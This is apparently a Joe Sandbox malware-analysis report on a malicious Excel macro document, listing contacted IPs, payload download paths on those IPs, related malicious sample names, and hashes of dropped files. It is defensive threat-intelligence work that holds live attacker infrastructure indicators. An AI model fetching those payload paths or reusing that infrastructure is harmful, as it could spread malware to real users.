                                                              https://outlook.office365.com/autodiscover/autodiscover.json15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                high
                                                                https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                  high
                                                                  https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                    high
                                                                    https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                      high
                                                                      https://ncus.contentsync.15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                        high
                                                                        https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                          high
                                                                          http://weather.service.msn.com/data.aspx15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                            high
                                                                            https://apis.live.net/v5.0/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            unknown
                                                                            https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                              high
                                                                              https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                high
                                                                                https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                  high
                                                                                  https://management.azure.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                    high
                                                                                    https://wus2.contentsync.15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    unknown
                                                                                    https://incidents.diagnostics.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                      high
                                                                                      https://clients.config.office.net/user/v1.0/ios15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                        high
                                                                                        https://insertmedia.bing.office.net/odc/insertmedia15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                          high
                                                                                          https://o365auditrealtimeingestion.manage.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                            high
                                                                                            https://outlook.office365.com/api/v1.0/me/Activities15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                              high
                                                                                              https://api.office.net15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                high
                                                                                                https://incidents.diagnosticssdf.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                  high
                                                                                                  https://asgsmsproxyapi.azurewebsites.net/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  unknown
                                                                                                  https://clients.config.office.net/user/v1.0/android/policies15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                    high
                                                                                                    https://entitlement.diagnostics.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                      high
                                                                                                      https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                        high
                                                                                                        https://substrate.office.com/search/api/v2/init15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                          high
                                                                                                          https://outlook.office.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                            high
                                                                                                            https://storage.live.com/clientlogs/uploadlocation15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                              high
                                                                                                              https://templatelogging.office.com/client/log15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                high
                                                                                                                https://outlook.office365.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                  high
                                                                                                                  https://webshell.suite.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                    high
                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                      high
                                                                                                                      https://management.azure.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                        high
                                                                                                                        https://login.windows.net/common/oauth2/authorize15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                          high
                                                                                                                          https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          unknown
                                                                                                                          https://graph.windows.net/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                            high
                                                                                                                            https://api.powerbi.com/beta/myorg/imports15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                              high
                                                                                                                              https://devnull.onenote.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                high
                                                                                                                                https://ncus.pagecontentsync.15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                unknown
                                                                                                                                https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                  high
                                                                                                                                  https://messaging.office.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                    high
                                                                                                                                    https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                      high
                                                                                                                                      https://augloop.office.com/v215D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                        high
                                                                                                                                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                          high
                                                                                                                                          https://skyapi.live.net/Activity/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          unknown
                                                                                                                                          https://clients.config.office.net/user/v1.0/mac15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                            high
                                                                                                                                            https://dataservice.o365filtering.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://api.cortana.ai15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://onedrive.live.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                              high
                                                                                                                                              https://ovisualuiapp.azurewebsites.net/pbiagave/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              unknown
                                                                                                                                              https://visio.uservoice.com/forums/368202-visio-on-devices15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                                high
                                                                                                                                                https://directory.services.15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown

                                                                                                                                                Contacted IPs

                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                Public

                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                190.14.37.3
                                                                                                                                                unknownPanama
                                                                                                                                                52469OffshoreRacksSAPAfalse
                                                                                                                                                185.183.99.120
                                                                                                                                                unknownNetherlands
                                                                                                                                                60117HSAEfalse
                                                                                                                                                185.240.103.219
                                                                                                                                                unknownRussian Federation
                                                                                                                                                57724DDOS-GUARDRUfalse

                                                                                                                                                General Information

                                                                                                                                                Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                Analysis ID:440505
                                                                                                                                                Start date:25.06.2021
                                                                                                                                                Start time:14:13:06
                                                                                                                                                Joe Sandbox Product:CloudBasic
                                                                                                                                                Overall analysis duration:0h 4m 58s
                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                Report type:full
                                                                                                                                                Sample file name:Permission-414467145-06252021.xlsm
                                                                                                                                                Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                Run name:Potential for more IOCs and behavior
                                                                                                                                                Number of analysed new started processes analysed:21
                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                Number of injected processes analysed:0
                                                                                                                                                Technologies:
                                                                                                                                                • HCA enabled
                                                                                                                                                • EGA enabled
                                                                                                                                                • HDC enabled
                                                                                                                                                • AMSI enabled
                                                                                                                                                Analysis Mode:default
                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                Detection:MAL
                                                                                                                                                Classification:mal64.expl.evad.winXLSM@7/9@0/3
                                                                                                                                                EGA Information:Failed
                                                                                                                                                HDC Information:Failed
                                                                                                                                                HCA Information:
                                                                                                                                                • Successful, ratio: 100%
                                                                                                                                                • Number of executed functions: 0
                                                                                                                                                • Number of non-executed functions: 0
                                                                                                                                                Cookbook Comments:
                                                                                                                                                • Adjust boot time
                                                                                                                                                • Enable AMSI
                                                                                                                                                • Found application associated with file extension: .xlsm
                                                                                                                                                • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                • Attach to Office via COM
                                                                                                                                                • Scroll down
                                                                                                                                                • Close Viewer
                                                                                                                                                Warnings:
                                                                                                                                                Show All
                                                                                                                                                • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                • Excluded IPs from analysis (whitelisted): 52.255.188.83, 104.43.139.144, 23.211.6.115, 104.43.193.48, 52.109.76.68, 52.109.88.37, 52.109.8.25, 168.61.161.212, 20.50.102.62, 20.54.7.98, 20.54.104.15, 40.112.88.60, 205.185.216.10, 205.185.216.42, 80.67.82.235, 80.67.82.211
                                                                                                                                                • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, cds.d2s7q6s2.hwcdn.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net

                                                                                                                                                Simulations

                                                                                                                                                Behavior and APIs

                                                                                                                                                No simulations

                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                IPs

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                190.14.37.3Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  185.183.99.120Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120/44372.5879460648.dat
                                                                                                                                                  185.240.103.219Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219/44372.5879460648.dat

                                                                                                                                                  Domains

                                                                                                                                                  No context

                                                                                                                                                  ASN

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  DDOS-GUARDRUPermission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.62.174
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.62.174
                                                                                                                                                  ForceNitro.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.135
                                                                                                                                                  PO#8076.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.112
                                                                                                                                                  Cancellation_Letter_2137859823_06112021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.162
                                                                                                                                                  Cancellation_Letter_2137859823_06112021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.162
                                                                                                                                                  jebDtHCePK9feGL.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.112
                                                                                                                                                  EDS03932,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  PO_29_00412.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  PO_29_00412.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  12042021493876783,xlsx.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  Ref. PDF IGAPO17493.exeGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.61.31
                                                                                                                                                  AxR7BY4wzz.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.189
                                                                                                                                                  SecuriteInfo.com.Trojan.Siggen12.41502.7197.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.189
                                                                                                                                                  #U041e#U0442#U043a#U0440#U044b#U0442#U044c www.sberbank.ru-0152 .htmGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.100
                                                                                                                                                  Install.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.219.40.40
                                                                                                                                                  CHEAT.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.161
                                                                                                                                                  seed.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.219.40.40
                                                                                                                                                  DHL Document. PDF.exeGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.61.133
                                                                                                                                                  OffshoreRacksSAPAPermission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  Rebate_247668103_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_247668103_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_1963763550_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_1963763550_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_234359500_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_234359500_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  banUwVSwBY.xlsxGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.134
                                                                                                                                                  banUwVSwBY.xlsxGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.134
                                                                                                                                                  Rebate_18082425_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  Rebate_18082425_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  DEBT_06032021_861309073.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.121
                                                                                                                                                  DEBT_06032021_861309073.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.121
                                                                                                                                                  Rebate_854427061_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  Rebate_854427061_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  Overdue_Debt_829721407_06012021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.113
                                                                                                                                                  HSAEPermission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.117.73.74
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.117.73.74
                                                                                                                                                  xa6FEoUw0W.dllGet hashmaliciousBrowse
                                                                                                                                                  • 188.116.36.211
                                                                                                                                                  tszs3mwUbe.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  pZ50mMKSLi.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  qTnwCotzR9.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  PwBsqWQ7jJ.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  aGDehjYIws.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.198.57.204
                                                                                                                                                  Tjhsm8p85Y.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  T23HJFoN2Y.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  i7NsO9mhTD.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  o7w2HSi17V.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.141.27.225
                                                                                                                                                  AB1CEF822F66D7B77574A21C8154D4A6E9FCD196A6659.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.198.57.204
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  xax2K3BWhm.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.192.246
                                                                                                                                                  Cancellation_480942562_06082021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.192.236

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  No context

                                                                                                                                                  Dropped Files

                                                                                                                                                  No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\15D09FEF-C541-4421-B5FD-A7FAC873EAA7
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):135189
                                                                                                                                                  Entropy (8bit):5.363278820688444
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:1536:qcQIKNgeBTA3gBwlpQ9DQW+z7Y34ZliKWXboOidX5E6LWME9:MEQ9DQW+zvXO1
                                                                                                                                                  MD5:F38B40054738BD6073A9C534507A6805
                                                                                                                                                  SHA1:0C9A6C5AACF1AB3CF4508EB8D144A28FF790773A
                                                                                                                                                  SHA-256:47A4A43F857AF1950F2F34C4839065A9CABCA5945870725E9492DD3A45830561
                                                                                                                                                  SHA-512:8409A69838F0BAD4AFCD3DC65980550D57057170C81B3F64FDFECF2FAE94F59C8B6724D614F032AD8A5D9083205830C718021C03566C184C1337AB33B05181F8
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-25T12:14:02">.. Build: 16.0.14223.30528-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\66A06DB.jpg
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:[TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), datetime=2021:02:11 21:11:18], baseline, precision 8, 1860x1000, frames 3
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):139381
                                                                                                                                                  Entropy (8bit):7.677272725029824
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:CmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOy:54P4346PgZw9gQat
                                                                                                                                                  MD5:53918FB868F1540920FC189C6783FC7C
                                                                                                                                                  SHA1:135CB103C5B5125C80285A83AE728B559313BADC
                                                                                                                                                  SHA-256:7F6AD5212338A6586251AEF92D2543AA8E70C815FE0BF7ADDCE2C0A83D20A0B3
                                                                                                                                                  SHA-512:31391EFC3D377EA32A537EF3DDCA41ABAF34C4C83CDFEF9A64D40DE219B88A293BE2BF01D6A5D2B23365513CB880020F37CA8E90506C41FB7FC8E42D4D641F51
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ....!jExif..MM.*.............................b...........j.(...........1.........r.2...........i...............-....'..-....'.Adobe Photoshop CS6 (Windows).2021:02:11 21:11:18..........................D.......................................................&.(................................ 4.......H.......H.........XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch....
                                                                                                                                                  C:\Users\user\AppData\Local\Temp\F2C40000
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):153180
                                                                                                                                                  Entropy (8bit):7.664758560737542
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:4mKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZO0:34P4346PgZw9gQaV
                                                                                                                                                  MD5:B3C9DCAE5BA602A016E3A0B990B3ACB0
                                                                                                                                                  SHA1:7B5C10C9996DDF867EB67FB7BB144B0A924C3639
                                                                                                                                                  SHA-256:7BB381BFFE20BF95226DC719D26D3795F77D76D764075DE7BC3677504BA025FB
                                                                                                                                                  SHA-512:A6793F065DD6366A7BFBE679D2D7710797F079375882BA2A2CB70F8D593777A6450460950CD2819298BD37BC4632CB88A1242FE7042F32AB6F6CAF5C45BB2BB3
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ..Mn.0....z...B..EP...H.e. ....Xb.?.Lb.C.Q...,..X..y.Gi8.Y.].a...]T.V..N*.....g...1......1..../...XP..5kS..G..X9..V...H.34.XB..r2....6.)k......U..nE.o..e.....x...DF.... .[,.@..!.*.. c....|PD....5.......8..*;c.U>~............S.29...MF....%.x..~....J.w..s..anN...W.u.EV....Y.k.5P......2..rq.......N:.....F...T..\...hL..6.c(.#.D.5.....d..i.1......[.(...........!..g.|....B.\.Z...9.^.....Cp>...p...i..KOB...~...]=.N..;.||I.;.;.g........PK..........!...&n....o.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 17:12:41 2019, mtime=Fri Jun 25 11:14:06 2021, atime=Fri Jun 25 11:14:06 2021, length=16384, window=hide
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):904
                                                                                                                                                  Entropy (8bit):4.672487375948491
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:12:8c3b3MXUILhduCH2BvOPa4RLwtlX+WrjAZ/DYbDtTSeuSeL44t2Y+xIBjKZm:8c3b3yLPqm/sxAZbcDP7aB6m
                                                                                                                                                  MD5:15F9B05AA76E721A8112D5ACB6973F9E
                                                                                                                                                  SHA1:B41D5E6F983E668338A8B9553F3BDA940144F6DA
                                                                                                                                                  SHA-256:DB623572223367F01DBE4C55FD34A956CCCB93574B942937BFE403E219A2CA3A
                                                                                                                                                  SHA-512:0FEAFCD317C7A4ABE803F357B589EDE7B041CCF0AB218B14A9EAF0C44B94DDF11E3F2D55BCB5576CFAD66DF4C9B7656A35F7657F5D74670901A5175810008FC1
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: L..................F.............-..'....i..'....i...@......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...R.a....................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q}<..user.<.......N...R.a....#J........................j.o.n.e.s.....~.1......R.a..Desktop.h.......N...R.a.....Y..............>.........D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......715575...........!a..%.H.VZAj...m<...............!a..%.H.VZAj...m<..........................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............
